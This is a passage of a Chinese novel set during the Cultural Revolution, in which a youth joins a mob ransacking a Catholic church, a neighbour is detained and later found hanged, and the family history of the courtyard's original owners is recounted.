秦国颂仍旧呆呆的看着眼前发生的一切。他缓了好一会儿。才从惊恐中缓过神来。他不像别人冲进教堂以后不问青红皂白看东西就砸,很快就投入到这个爆裂情境之中,很快的就被这个情景所渲染,然后跟玩游戏一样快速的投入战斗之中。秦国颂他要适应一下,在他懵懂的意识里,他认为这一切离所谓的真实还是有一定的距离。他这时脑海里所产生的感觉就是发生眼前的一切都像是一种幻觉。这种虚幻是需要一些时间来适应的,让时间来缩短这段距离,使他慢慢的向现实靠近。 他慢慢的走向教堂门口上楼的楼梯。看见人们在木板的楼梯上下穿行,木板的楼梯被缤纷的脚步踏得咚咚咚的直响,上下楼的人们都很匆忙,脸上露出极度兴奋的高亢,挥舞着双手群情激愤。 通往教堂楼上的木质楼梯很陡,秦国送走的很慢,周围的景致他看的也很仔细,他与这些在教堂里呼喊着奔走的打砸的人们显得有些格格不入,他倒是像来这里参观旅游的游人。 楼梯一共三层,他走到了第三层。跟着冲入的人流来到三层的一个小门口,这个小门口倒像是一个大窗户,人们翻窗进来跳出的嘴里大声喊着。 “哎呀,这个十字架太大了,从下面看那么点儿,上来以后这么大!一人多高呢!” 秦国颂走到那个大窗口往外看,没看到十字架。于是退回身往屋顶上看了一下,看到屋顶上有个口。像个天窗,天窗的旁边支着一个小梯子通往下面,可以出入。他就顺着小梯子往口上面爬。爬到口钻出去就是教堂三楼顶上那个半圆的穹窿里面。这上面一个人也没有。他看到穹窿旁有几个小窗口,走到一个窗口跟前把头探出去向外望。清清楚楚的在他斜下方看到了那个教堂的十字架。真的很大,完全超出了他的想象。他看到十字架旁有人用铁锹和锤头奋力的砸那个大十字架。有人看到他昂着头对他喊。 “你怎么上去的?快下来帮帮忙!” 秦国颂说:“屋内下面有个小梯子,顺着梯子上来就可以了。” “你快下来吧!过来跟我们一起帮我们把绳子拴到这个十字架上,十字架太大了,根本砸不动,把绳子拴到十字架上,绳子的那一头扔到地上去,让地上的人们一起拽,十字架就会倒塌了。”十字架旁的人对他喊着。 秦国颂从小窗口钻了出去。顺着外墙出溜到房顶,爬到十字架面前。他站起来站到十字架旁边。看着十字架,它真的太大了。比秦国颂高很多。秦国颂看了看下面地上的人。人们都显得很小。有的人冲他喊,爬到十字架上去绑上绳子…… 和他一起站在十字架旁的几个人,其中一个人拿过绳子对秦国颂说:“你个子小灵便,我在下面拖着你,你往上爬。” 这是又过来一个人戴着墨镜,手里拎着一把驳壳枪。走到秦国颂跟前:“你大胆的上去。没事的,我们给你助威!等你爬上去拴上绳子,我在下面给你开一枪庆典!” 秦国颂点了点头,又看了看教堂下面。下面人群鼎沸。乱糟糟的人们都像蚂蚁一样毫无章法的窜动。 他没有说话,回过头接过绳子,把绳子拴在腰上,用手扒着十字架的立柱。向上一窜,就如同爬电线杆子一样几下就够到了十字架的横杠。抓住横杠向上一翻,顺势腿就骑在了横杠上。他骑在横杠上,抬眼望了一下西边的落日。这座城市在落日的映照下显得是那么的漂亮,那么的美。秦国颂骑在十字架上,风吹动了他的衣衫。傍晚的斜阳映照了他宛若一尊雕塑般的威严。 他用冷峻的目光环绕了一下这座城市的火红,这片火红像出炉的钢水一样在他下面流动。他忽然感觉眼前一阵眩晕,浑身被这火红烤得发烫。就在这时,站在十字架旁边的那位戴墨镜拿驳壳枪的冲他喊了一下。 “小兄弟别怕!我开一枪给你壮壮胆!” 秦国颂冲着他微微一笑。 “啪!”的一声。驳壳枪冲天鸣放了一枪。 秦国颂在十字架上感觉到枪声好刺耳。不是“砰”的一声,而是“啪”的一声。他忽然觉得挺可笑。弄不清的到底是物理问题呢?还是耳朵问题? 就在这时,他听到下面有人尖叫大喊了一声。 “秦国颂,注意安全!” 他顺着喊声往下看去,是下面的二凤在冲他大喊,他觉得二凤那么小,像一个小女孩。 他没有说话,只是向下面摆了摆手。 这时下面人的目光大多都聚集到了十字架上面的秦国颂。人们冲他大声喊。 “注意安全!” 秦国颂仍然没有说话。向地面上的人摆了摆手。微笑的点了点头。他觉得二凤一定是不措眼珠子的看着他,他忽然有了一种英雄的情怀。于是解开腰里的绳子,把绳子套在十字架上交叉的又绕了几圈,打了死结。他让下面的人拽了拽,绑的挺结实。然后他笑了笑。 “好了!” 说完他就滑下十字架,没有再说什么。又顺着那个穹隆的窗口钻了回去。只听见下面的人啧啧称奇。这小子是哪儿的?胆子真大! 秦国颂顺着楼梯回到了教堂里,教堂的人更多了,打砸声响彻一片。 在挨着教堂西边的第一个侧门角落里有一架钢琴。这架钢琴被拆的琴键琴弦露在了外面。有人拿铁锹在击打那些钢琴上的琴弦。琴弦发出巨大的轰鸣声,他看到有人用铁锹戳掉的钢琴琴弦。那个人把琴弦对折起来,向周围的人炫耀。这做一条钢鞭正合适!琴弦的钢丝上是用铜线整齐的缠绕在上面的。秦国颂第一次看到这样漂亮的琴弦,看到其他的人还在用铁锹一根一根的在击打撞击挂在钢琴上面的琴弦。人们争先恐后的夺过铁锨再试着自己的运气。秦国颂无奈的摇了摇头,叹了口气,走开了。 他跟着人流往教堂的祭台方向走去,上了台阶,拐进了一间屋。 他看到屋里的人们正在热火朝天地用铁锹和锄头撬着屋内的木地板,木地板被撬开后,下面是一个储藏室,人们从储藏室里一件一件的往外搬东西。 储藏室里有服装,祭品,念珠。尤其是那些五颜六色的念珠被搬出来以后。这些璀璨夺目的念珠立刻就成为人们掠夺的猎物。众人一哄而上,互相撕扯着争吵着抢夺那些念珠。成串的念珠被人们撕扯的滚的满地都是。更多的人跳入储藏间,开始了疯狂的破坏与抢夺。 又有人发现了储藏间里的小木箱子里有红酒。人们一瓶一瓶的从箱子里拽出红酒,还有的人想喝那酒,又找不到打开红酒的起子。于是他们就愤怒的把红酒一瓶瓶摔碎,还有的人拿摔碎的瓶子里的酒要喝。有的人就喊到。不能喝!这些外国酒都是有毒的,他们是专门害咱们中国人的,都砸烂了它! 秦国颂慢慢的适应了里面这种疯狂的行为,麻木的大脑慢慢的变得苏醒起来。他蹲下身用手捡着地上散落的那些念珠。心里想着这么好看的东西砸烂了多可惜,他捡了一把念珠悄悄的装在口袋里,还环顾的看了一下左右看看是不是有人在监视他。他看到身旁的人都在疯狂的毫无理智的投入到打砸抢的行为之中,他的心才安稳下来。于是他又继续捡了一把散在地上的念珠,忽然他想起了二凤。回去把这些念珠串好送给二凤…… 就在他走神的片刻,身旁有人拍了拍他的肩。他转脸一看是黄国英。 “啊,你也来了?!” 黄国英说:“找你和二凤来了,快回去吧!给二凤商量一下看看能不能把大雅也弄回去。” 秦国颂说:“我感觉够呛。再说了,谁敢呀?大雅和神父修女们在一起跪着呢,正在挨批判呢。” 黄国英点了点头。 “也是啊,这局面她要是能活着,能活下来就不容易了,咱们赶快去找二凤,先回去吧!这里边太乱了。” 秦国颂和黄国英两个人走出教堂,这时外面的人更多了,哪里还找得到二凤的影子。 两个人挤出人群,走向回家的路中。 回到家里,二凤已经回家了,大院里的人很少,显得有些空旷,大多数人都已经去了天主教堂了。 大凤抱着小雅,用奶瓶给小雅喂奶。大凤的眼里含着泪。 “我看大雅一时半时是回不来了,就让我妈去买了奶粉和奶瓶……可怜的孩子……这么小就跟着遭罪……” 黄国英安慰了大凤。二凤和秦国颂谁也没有说话,屋内的气氛显得很压抑,过了一会儿秦国颂说。 “你们在吧,我先回我家了,有什么事再去家里找我。” 二凤点了点头,目送着秦国颂走出了屋。 天慢慢的黑了,二凤来找秦国颂。 “我还是有些不放心大雅那边的事情,我还是想去教堂看看。”二凤伤感地说。 秦国颂看着满脸愁容的二凤。劝她说道。 “咱们去了有什么用?现在谁去都没用,你要敢管,那就是去送死。再说天黑了,说不定他们早就被转移了。唉,对了。我听造反派在教堂里有人说总督署里关了好多地富反坏右。要不咱俩过去看看,看看是不是在那里?但是我把丑话说前面,咱只是看看,咱可不能管。” 二凤紧咬着下嘴唇,憋屈的眼泪在眼眶里打着转。她点了点头。 于是两个人走出了大院,先去了教堂。天主教堂院外的大门被人挤得水泄不通。大院里燃烧着雄天大火。离火堆10米开外就被烤的炙热难耐。两人近院不得,向西行走来到了总督署广场。 总督署广场内外到处都是人。总督署院内已被多个造反派的组织占领。 到了夜晚,造反派们大都下班了,回家了。总督署院内的房间里几乎成了地富反坏右的难民营。总督署前院的房间里几乎都住满了人。每个房间里或蹲或坐或卧的人们愁容满面。有的人小声哭泣小声呻吟,房间里嘈杂的空气闷热难当,间或有一两个穿军装匝武装带带红卫兵袖章的学生踢着人群穿行而过。大声呵斥着人群里的某某人。提出去过审。屋里的每个人都噤若寒蝉。心惊肉跳。 被弄到这里的大多数人说不清自己为什么进来。也说不出是谁把他们弄来的。这里造反组织很多。他们根本就分不清哪个组织和哪个组织是什么关系。只要有红卫兵进来一指指的是你,你就得站起来跟着他出去受审,你姓什么叫什么都无所谓。因为这些被关进来的人就一个姓一个名。地富反坏右。 院里屋里好多看热闹的群众,没有人维护秩序,也没有人监管。看热闹的群众来了兴致也可以随意把在屋里被关的人叫出来,训斥一顿或者打一顿。然后再让他滚回屋。屋里被关的人像是被贴了奴隶标签一样,任何看他们不顺眼的都可以随意的羞辱打骂一顿。 被关的人不敢跑也不敢随意走动。想去厕所都不知道找谁请假。实在憋急了就尿到自己的裤子里。 秦国颂和二凤沿着院里的几间屋子来回串了几遍。也没有看到大雅。他们俩的行为引起了一间屋里造反派一个头头的注意。于是把他们俩传到了这个头头的指挥办公室。他们俩人一进屋,屋里有一个人认识二凤。说是认识,其实只是在一次行动当中见过面,既不是同学也不是本校的。然后这个人就问二凤他们来干什么?二凤说来找一个人。转了几圈没关在这里。问她的人也没有问他们找的人叫什么。其实问了也白问,在这里关的人没有人会理会他们叫什么。二凤与那人寒暄了几句,就和秦国颂走出了屋,出了总督署大院后。两个人怏怏的往回家的路上走去。 在回家的路上。秦国颂无奈地说道。“哪儿也别去了,回家吧。没准儿晚上大雅就回去了呢……” 二凤默默的点了点头。 大雅一晚上都没有回来,大凤抱着小雅等到后半夜,最后实在熬不住了,就抱着小雅睡着了。 清晨,前院一阵骚乱和喊叫声把人们惊醒。八一纵队造反兵团的小将们来到指挥部工作。一进屋门为首的一个还是个女学生吓得啊的一声尖叫,立刻瘫坐在地上。其他跟进来的人一看窗户上吊着一个人,吓得全都跑出了屋,站到院中呐喊。 “有人上吊了!有人上吊了!” 秦国颂住在前院,听到喊声从屋里跑了出来,他跑到大雅的门口,飞快的冲进屋内,跳上桌子去解窗户上的绳子,绳子上坠着一个人很难解开。这时黄国英也听到喊声跑了过来,他见秦国颂正在费力的解绳子,就跑过来快速的抱住绳子下面的人,黄国英顺便看了一下上吊的人,没认出来,便问秦国颂。 “这是谁呀?怎么死在这屋了?” “就是这屋的主人,她叫大雅。” 秦国颂解开了绳子,与黄国英两个人把大雅放到了桌子上,大雅早已停止了呼吸…… 这时院子里围满了人,人们都躲得远远的小声议论纷纷。住在院里的公安局的小张进了屋,看了看屋内就秦国颂和黄国英两个人,还有躺在桌子上的大雅。小张示意秦国颂先拿条毛巾来给大雅的脸盖上,秦国颂看到站在门口的二凤,走出来对二凤说。 “你就别进去了,上吊死的,别把你吓着,你快去拿条毛巾来把她的脸盖上。” 二凤取来了毛巾交给秦国颂,秦国颂把毛巾递给了小张。小张慢慢的把毛巾盖在了大雅的脸上。小张对黄国英说。 “不知道市里还有没有她的亲戚,如果没有的话只能去她们老家送信了,人呢,先拉去殡仪馆,等送信的人回来再说后事。” 黄国英点了点头,对秦国颂说:“这几天我单位的事情挺多的,抽不开身,方便的话你去一趟她的高阳老家,具体地址大凤那儿应该有,在这座大院也就是大凤和她联系的比较多。” 这时站在门口的二凤走了进来。 “我和他一起去吧!” 黄国英看了看市公安局的小张,小张点了点头,对秦国颂和二凤说。 “好吧,那你们两个就辛苦一趟了。到了她家看到她们家的人说话一定要委婉一些,千万要注意说话的方式,我把这事呢上报所里,争取把你们的旅差旅费给你们报销一下。” 黄国英从衣袋里拿出十元钱递给秦国颂,“先用我的吧,见了她们家人一定要先别着急说人怎么了,先说人病了,病的挺重的,医院让家里来一个人照顾一下。” 秦国颂接过钱点了点头,看着二凤说。 “那咱俩就别耽搁了,现在就走吧,我去你姐那里问一下她们家的具体地址。” 秦国颂来到大凤屋里,大凤正抱着小雅在那里流眼泪。小雅睁着大眼睛,静静的看着大凤。 秦国颂站到大凤跟前,低着头对大凤说。 “凤姐,我要去一趟高阳,二凤和我一起去,去他们老家……送信……” 大凤默默的拿出大雅给她的寄来的那封写有回信地址的信封…… 第13章 曹氏家族 大雅娘家姓曹,大雅的姥爷叫曹衡禄,1870年生人。后为满清四品大员,正房之妻没有给他生下儿子,倒是一个偏房小妾给他生了一个女儿叫曹静稚,1916年出生。也就是后来大雅的母亲。 曹静稚长大成人后,找了一个倒插门的女婿。此人叫王文甫,也就是后来大雅的父亲。大雅的父亲是一个军人。 因为王文甫1949年跟着蒋公去了台湾。所以1940年出生的大雅改姓随了母姓。叫曹雅丽。 曹衡禄是在二十八岁那年跟随着李鸿章入驻到这座城市的,先住在淮军公所。几年后的1901年,李鸿章死后,他带着家眷搬到了我们所描述的这座大院,成为这座大院的主人。 曹衡禄一直没有子祠,只有偏房小妾给他生了一个女儿,就是后来大雅的母亲。早些年曹衡禄还收留过一个义子,义子姓高,名廷芳。随曹姓后叫曹廷芳,解放后改回高姓,名叫高廷芳。也就是后来我们认识的高老头。 1908年在仕途上受挫的曹衡禄信奉了天主教。随后又带着他的义子曹廷芳接受天主教的教育。曹廷芳20岁那年由曹衡禄出资去了法国神学院求学。两年后回国,在天主教堂就职。 1926年,56岁的曹衡禄去世。这个大院由不到30岁的曹廷芳带领当时10岁的曹静稚成了这个大院的新主人。此时这个大院还是一个偌大的四合院,还没有大院中间那道墙。院里主人加仆人一共不超过10人,寂静的大院显得冷冷清清。 曹廷芳照例去教堂诵经行使神责。曹静稚读书上学。大院里除了50多岁的老管家孔老爷,还有一心侍奉主的曹廷芳笃定终生不娶这两个男人以外。其余都是女仆女眷。平时人们做事从从容容,说话轻声轻语。每当夜幕降临后整个大院死一般的寂静。 曹静稚读的是女子学校。在她15岁那年,认识了一位年轻的国民党少尉军官。军官长的仪表堂堂英俊潇洒,很快就俘虏了少女的芳心。军官名叫王文甫。 第二年两人正式结婚,结婚后两人就住在这座大院的西房里。 于是这座大院里又多了一个男人。但是这个男人经常不回家。在那个兵荒马乱的年代里,部队的官兵随军而行常无定所。 曹静稚在学校里参加了进步组织,和学校的学生们经常去宣传抗日,反对日本侵占东三省的活动。 曹静稚由于学习优秀思想进步,毕业后留在了女子学校,当了一名教师。23岁那年她生了一个女孩,这个女孩就是大雅。时年1940年。 大雅的启蒙教育老师就是曹廷芳。并且她最初接受的教育就是曹廷芳灌输给她的西方式教育。四五岁的时候就可以说一口流利的法语,她的母亲期待着她好好学习,长大去国外深造。 大雅九岁那年他的父亲随从蒋公退居到了台湾。大雅跟着母亲依旧在这个大院里生活。 新中国成立后,这座大院被分割成了里外两个院落,里院住进了新中国的司法干部干警们。在院中央砌那道院墙的时候,有意无意的把院中一东一西的两棵大槐树留在了外院。大雅和妈妈以及曹廷芳居住在里院的家眷全部搬到了外院。大雅的妈妈由于背上了国民党家属的名分,为了不惹人耳目,自己选了最靠近外院大门口的那间耳房。曹廷芳则选了最靠近外院里面的另一间耳房,一个在外院的最西边,一个在外院的最东边,这样平时来往就少了,也是为了少惹起人们的注意,使他们在这个大院里曾经的历史让人们逐渐地淡忘。 曹廷芳改回了姓叫高廷芳,因为他年纪大了,人们很少称他的名,统称他为高爷爷。 大雅十八岁那年,在轰轰烈烈的大跃进运动中认识了解放军部队里的一个年轻的军官,两个人很快就结了婚。婚后不久,年轻的军官得知大雅的父亲在台湾,是国民党军人,于是果断提出离婚。 由于两人婚后感情甚笃极其相爱,大雅忍泪含悲和这位解放军军官离了婚。这位军官也是深爱着大雅。但无奈与这种政治背景的婚姻无望,只能忍痛离别。 军官私下里对大雅承诺,每个月给她生活费,直到大雅找到新的伴侣为止。 大雅是个自强的女性,她婉拒了军官的资助。在女子学校做校工,自己养活自己。 军官则遵守自己的承诺,依旧每个月给大雅一些生活费用,一直到大雅去世为止。 60年代初期,国民党反攻大陆尘啸越演越烈。大雅的母亲逐渐成了人们监视的对象,她辞去了工作,只留下了大雅一个人,自己回到高阳老家娘家去住,投奔到她一个远方亲戚家里去了。 在这座大院里大雅唯一的亲人也就是外院里最东头的那位高老头高爷爷了。 这便是这个大院最初的主人曹氏一家人的简单介绍,这家人的故事,这家人的悲欢离合,事事变迁,远不止这样简单。 曹氏三代人的详尽故事细节,我们目前只知道这些。更为详尽的事例,秦国颂不知道,大凤不知道,黄国英也不知道,那么谁知道呢?只有二凤了。她知道。 二凤不仅给我们提供了上述我们所做的对曹家的简略的叙述。在他和秦国颂一起去高阳的这段行程中,她除了去大雅的高阳老家送去大雅的死训之外,还详细的了解了大雅的家世情况……后来她把这段故事写成了一部小说。小说的名字就叫《大院儿》。 小说出版后极为轰动。并改成了电影电视剧,这当然就是后话了。 在别人的眼里是一粒尘埃。在自己的世界里却是整个宇宙…… 人们纷纷议论小雅到底是谁的孩子?她的父亲究竟是谁? 大雅的妈妈被历次运动吓怕了,木怔怔的看着秦国颂和二凤带来的不幸消息。半晌自言自语的喃喃道。 “死了?死了……就死了吧……省得活受罪……小雅呢,有好心人收留着就让她留在那儿吧……长大了以后不要告诉她真相……免得让养她大的人伤心……” 她说这些话时脸上没有任何表情。眼里没有泪,也没有悲伤。 哀,莫大于心死。 第14章 凤~颂 运动仍然在继续。它掀起的浪潮汹涌澎湃,铺天盖地的翻卷。 高层斗争的目标和方向越来越明了。基层反而越来越乱,越来越迷茫了。斗争的矛头除了地富反坏右以外更加扩大化了。基层各个单位的领导基本上均无幸免。从中央到地方的领导阶层基本上统统被打倒。新的领导阶层应运而生。 新生的领导阶层并非是团结和睦。而是人为地形成了对立的两派。一派称为造反派,一派称为保皇派。造反派是自诩的。保皇派是被许的。两派打出的旗号都是保卫毛主席。捍卫毛主席的革命路线,将文化革命进行到底。然而就是这目标如此简单纯洁的两派竟然成了水火不相容的敌对势力。在运动当中大打出手。大开杀戒!斗争的局面越来越复杂。斗争的扩大化愈演愈烈。 大雅的死给这个大院带来了不祥的征兆,尤其是她死的方式,把那些在现场看到的革命小将吓得灵魂出窍。尽管外表他们强做镇静的嘴上说不信神不信鬼还要打倒一切牛鬼蛇神。但没过几天他们就通通的撤离了这座大院。 大雅的屋门又用那把大锁锁上,不知谁又找回了那条破棉门帘子挂在了屋门口上。 白天人们进出院路,走过大雅屋门口时还不觉得什么,但是到了晚上夜深人静的时候,人们都是极速穿过的看都不敢看一眼那棉门帘子。尤其是住在院里的孩子们,晚上没有什么紧要的事情,谁都不敢出去。路过大雅门口的时候也是快速跑过。如果是几个成群结队的孩子,还有孩子会冷不丁的大喊一声。吊死鬼! 吓得孩子们会仓皇逃窜。 接下来的一段日子就是这座大院的短暂的安宁,缺少了喧嚣。院里的人平静的生活,正常的按部就班的去工作。 大凤的爸爸张子东虽然没有被明确的撤职,但是整日只能待在学习班里学习检讨,有的时候可以正常回家。老检察长的性格还是那样的爽朗明快,每次回到家都是笑呵呵的,吃饭的时候会照样的喝上二两酒,那副坦然的神情就如同外面什么事情都没有发生过一样。 再后来全国的公检法内部发生了大的变故。“砸烂公检法,踢开党委闹革命。”公检法领域在全国全面瘫痪。取而代之的是军事管制委员会。公检法领域的干部职工依旧在本单位坚守工作。但已经被全面夺权,基本上靠边站了。 老检察长张子东慢慢的也被放松了监管。他大多数时间赋闲在家。闲暇之余他就侍弄些花草鱼虫自取生活之乐。他在靠近他家门口的没有完全拆完的假山旁边用砖头和石灰修筑了一个小池子。在池子里面养些金鱼。每天清晨拿着自制的纱布渔网去在护城河里给金鱼捞红虫。还真别说他养的鱼还真的漂亮,院里的人有事没事的时候就趴在了他的池子旁边欣赏他养的金鱼。每当他兴致高的时候拿着酒杯坐在池子旁边对观看金鱼的人们说。我就这个命养什么活什么,你看我养了这么几个丫头,个个都水灵。养金鱼也一样,你看它们在我这里活得多好。等长大了,下了小鱼儿送给你们!院里的人都喜欢这个和蔼可亲的老头。 法院副院长黄一鸣虽没有受到什么大的冲击,但基本上也是属于靠边站的。文质彬彬的黄国英在单位里人缘极好,只求把自己的工作做好。对运动的热情似乎不怎么高涨,单位里的运动他就随大流参加,选不上积极也选不上消极,稳稳当当的随着潮流而动。 老红军秦义辉更是稳稳当当,没有人惹他,他也不去惹其他的人,大多时间他就在他的屋里画他的画,画好以后把画拿出来放到院里让人们参观。有时兴致高了还会把画拿出去放到街上让人们参观。他就站在旁边抽着烟笑呵呵地听着人们对他的画的评价。 大雅的死对二凤影响非常大。好一阵子她都没有去学校,学校停课了,学生们都在参加运动。二凤有时候也去学校,由一个积极的参与者变成了一个观守在望的旁观者,造反组织的领导人由别人取代。她只是在学校写一些宣传材料写一些传单做她专长的文案工作。 二凤的父亲被批斗也直接影响了她的所谓政治前程。政治风向由一开始“不唯成分论转化为有成分论”。由与家庭划清界限的就是好同志转为“老子反动儿混蛋”的一窝端。甚至家庭背景都要作为加入红卫兵审查的必要前提。家庭背景家庭出身成为了一个人的终身羁绊。 秦国颂也很少去学校,他是初中应届毕业生,学校不安排毕业生毕业。应届毕业生留在学校闹革命搞运动。 秦国颂对这些毫无兴趣,他唯一的兴趣就是尽快的组装成他那个可以收听短波的晶体管收音机。 尽管他知道政府不让收听短坡了,但是他还要自己坚持一定要做成。他为人低调,做事不炫耀。他就是想听一下短波究竟有什么政府要禁止的?要是说他真的一点不知道政府为什么要禁止收听短波那也是不现实的。其实他就是想了解外面的世界,他觉得他所处在的这个环境里的生活太枯燥太乏味了。还有就是破四旧立四新,古书旧书全部焚毁,包括科技方面的外国专著统统的被视为封资修而付之一炬。他从心里感到困惑懵懂,不晓得这到底要干什么,难道革命把科学技术也要割掉吗?他有的时候真的很拧巴。 在旧的事物被铲除的同时,社会上又滋生出一种新的事物。说是生物更是恰如其分。这个生物物种叫“亡命徒”。 “亡命徒”就是在这个特殊的社会环境中,敢于造反的,敢于革命的,敢于不要命的在民间通称的一种称谓。当然有一些虚张声势,狐假虎威,打肿脸充胖子的所谓亡命之徒也不在少数。时代的产物嘛,鱼龙混杂,鱼目混珠的究竟是大有人在的。 这些所谓的亡命之徒的典型特征就是:军帽里垫硬纸壳,帽檐儿压眼,帽后露脑勺,白天黑夜都戴一副大墨镜。劳动布裤子,懒汉鞋,尼龙袜子露半截。自行车座子高,撅着屁股塌着腰,车后衣架通通卸掉……这些所谓的亡命徒青年工人居多,学生极少。因为随着革命的深入,学生们逐渐的被退出了历史的主要舞台。工人阶级要领导一切。 秦国颂有时常拿这些所谓的亡命徒调侃。他看不惯他们那副张扬的样子,就随口编些顺口溜调侃那些人。有的时候还会搞一些恶作剧。 到了夜晚,他经常会用报纸把一两块砖头包好。有的时候也有牛皮纸。用纸绳像包点心那样把砖头包的规规矩矩的。跑到街上放到马路旁边。自己偷偷的叫上小伙伴,躲在暗中观察。经常有那些亡命徒骑着自行车招摇过市。有的看上一眼路边的纸包极速刹车,停顿片刻,吓的立马会飞车而去…… 秦国颂他们躲在暗处会哈哈大笑。心想什么亡命徒啊,跟兔子一样胆小。 还不如到了夜间农民进城的赶车车夫的。有一次一辆赶着马车的农民路过看到了地上的纸包。跳下车来。二话不说,顺手把纸包扔到了大车上。猥琐的偷偷一笑,像是捡到了宝贝一样。扬鞭而去。 当然这种恶作剧也有遇到玩大了的时候。 有一次那纸包放到了马路旁边,好长时间没人动,结果被路过的一个警察看到了。他在纸包前停住蹲了下来警惕的看着,然后他慢慢的坐下趴在纸地上凑进纸包用眼睛仔细的看。不敢动。然后爬着向后倒退,退了几米后忽然站起,猛的转身就跑。不一会儿那警察又返了回来,带了几个人过来,看见纸包还在原地。他们全都卧倒在纸包旁边。其中一个匍匐向前爬到纸包跟前。他极其谨慎的解开纸包上面的纸绳,屏住呼吸一层一层的掀开报纸……最后发现是一块砖头。气得他大骂一声,对身旁的跟着他的人说。真TM混蛋,这是谁干的?!要严查阶级斗争的新动向。 躲在暗处的秦国颂他们,知道把事情弄大了,吓得大气都不敢出一下,偷偷的溜回家,从此以后这种恶作剧再也不敢搞了。 秦国颂专心的在家里弄他的能够收听短波电台的收音机。这事儿他不敢对更多的人说,只对二凤和黄国英说过,黄国英还支持他。 “有什么技术上的难题?我给你找我们那位无线电厂上班的同学,他对无线电非常有研究,你们可以共同学习商量探讨。” 秦国颂高兴地说:“好呀,太好了,我正需要认识这方面的人才呢,一起研究。我下来还想做一个装置呢,能够收到普通收音机接收不到的信号,比如说卫星信号。” 黄国英惊讶的说:“卫星?我们天上能有卫星?” 秦国颂肯定的回答:“肯定有,不过那都是外国的,我从参考消息上看到的。我们国家也正在研究,不知道消息准不准确。” 黄国英说:“哪天我把我那个同学带来,你们见个面。” 秦国颂高兴的点点头:“好的!非常高兴见他。” 几天后黄国英真的把他那个同学带来见了秦国颂。这个叫安康的人在很大程度上改变了秦国颂的命运…… 第15章 凤~颂(续) 大凤收留了小雅。每天上午去单位点个名露个面,把小雅放到她妈那里,由她妈妈照看。在单位里也没什么事情,她也不参加那些什么运动啊,组织的活动。心里就跟长了草一样,只想快点回家去见小雅。 大凤非常喜欢小雅,视待己出。大凤妈妈也喜欢,常对大凤说小雅就放在我这里好了,我养活她。继而又嗔怪的对大凤说,你们这结婚都快两年了,也不见你们那边的动静。也许有了小雅你也就快了。老话有个讲究自己没孩子,抱养一个很快就会给自己招来了…… 大凤看了她妈妈的自言自语,心里那个滋味啊甭提多难受。 有一次大凤妈妈又念叨起这个事情来。大凤终于憋不住了,对她妈妈说。 “妈,快别说这些事情了,实话告诉你,他……他不行……” 大凤妈妈惊愕的看着大凤。 “谁呀?什么不行?” 大凤咬了咬下嘴唇,眼泪都要流出来了。 “国英,他……那方面不行……” 大凤妈妈更惊讶了。 “啊!这么长时间了,没去医院查查?” 大凤说:“他自己去过,医生说他正常。可……可是……他跟我就不正常!” 大凤沉思了片刻,缓了缓情绪。 “他好像喜欢男人……他对那个秦国颂就像着了魔一样,整天围着他……” 大凤妈妈打了大凤一巴掌。 “越说越不像话了,你们这都是哪儿跟哪儿啊?天底下有这样的事情吗?” 大凤委屈的说道:“天底下有没有我不知道,反正让我遇到了……” 大凤妈妈无奈的叹气道。 “那怎么办?要想个解决的办法……不能这样过一辈子啊。” 大凤摇了摇头。 “先这么凑合着过吧,也许……再过些时日,他……他会好的……” 这天,黄国英真的把他在无线电厂上班的那位同学领来见秦国颂了。他的这个同学叫安康。安康瘦瘦的个子不太高,眼睛不大,戴着一副绣郎眼镜。在这个年代戴这种眼镜的是比较时髦的,给人一种清秀的感觉,多少带了那么一点书卷气。 这个叫安康的出现。成为我们这部书后半部分的重要人物。他对秦国颂和黄国英的个人命运起到了非常关键的作用。 什么叫贵人?什么叫小人? 所谓的贵人并非是在生活当中或事业当中给予你直接的帮助和支持。而是他能引领你进入到一个领域,一个适合于你才华发展的绝佳环境。似伯乐而又非伯乐。他并非懂得千里马。而是有意或者无意的把千里马带到这块广袤的草原。 所谓的小人就是孔夫子说过的长戚戚的见不得别人超过自己比自己好的那一类人。小人并非都坏,但最好别得罪,属于敬而远之的那种对待为最好。 如果生活当中贵人和小人成为了一个组合体。如同太极一样,一黑一白的缠绕在了一起。假如遇到这样一个人,那就构成了生活当中的全部味道。 黄国英非常客气的把安康介绍给了秦国颂。秦国颂略显紧张腼腆的同安康握着手,脸红红的微微的低着头对安康说。 “国英大哥经常跟我说起你,早就仰慕您的大名了。” 安康客气的说道:“哪有什么大名,就是参加工作早一点,接触无线电早一点罢了。国英经常给我提到你,说你是个天才,这不我前来拜访了呢。” 黄国英微微笑道:“这我还真不是夸他,我长这么大还没有见过这么聪明的人,真的,他在很多领域都有独到的见解,书读的也多,比我强多了。” 安康笑着说道:“对呀,这不我们俩来向他请教学习了。” 秦国颂脸红红的紧张的快说不出话了,磕磕绊绊的说。 “二位大哥快别这么说了,我,我都不知道怎么回答了。” 屋里的三个人都笑了。 安康显出大哥的身份,带着有几分故意刁难秦国颂的口吻说道。 “我听国英说你喜欢哲学。《资本论》你读过吗?马列的书都读了哪些?” 秦国颂回答:“我对政治和经济的书都不大感兴趣。读过恩格斯的《自然辩证法》,列宁的《哲学笔记》,我只对哲学和自然科学这方面的感兴趣。” 安康有兴趣的问道。 “《哲学笔记》你从哪儿看的?我都没有读过。” 秦国颂说:“我爸爸那屋里就有,是单行本,厚厚的单行本,我就是从那本书里知道了那么多哲学家的名字。古代的现代的唯心的唯物的辩证的形式上的……就是这些哲学家才引起了我对这本书的兴趣。” 安康用略带赞赏的口气对黄国英说。 “行啊,他真行啊,就凭这一点我们就有共同的语言,如果再聊无线电再聊半导体,我们俩的话就说不完了。那,就真没你什么事了。” 黄国英听这话心里有些不是滋味。他可不愿意别人夺走秦国颂,他对秦国颂心里就像对待一个恋人一样。二凤和秦国颂他们俩的接触,尤其是两个人一起出远门,他心里的滋味就是五味杂陈的。既难以言述,又无法表达出口。今天又来了一个安康。见了面还没聊几句就对秦国颂表现出这么大的兴趣。他忽然感觉到了有点后悔。后悔不该带他来见秦国颂。又转念一想,这两个人只是谈谈知识领域的这一块。再说了秦国颂未必对安康有什么更多的好感,他只不过是出于礼貌对待客人的一种态度。想到这里,黄国英儒雅和绅士的姿态展示出来。他微笑的说道。 “你们谈的我可能不太懂,我研究的是法律,对于无线电和半导体方面我只能洗耳恭听,做你们两个人的忠实听众。” 安康用略带揶揄的口吻对黄国英说。 “可惜呀,你研究的那法律现在基本上用不上了。你们现在不也都是靠着站了吗?” 黄国英无奈的调侃说道。 “靠边站有靠边站的好处。这不,我靠到你们这边来了。” “识时务者为俊杰!”安康也调侃的说道。 说完三个人又都哈哈笑了。 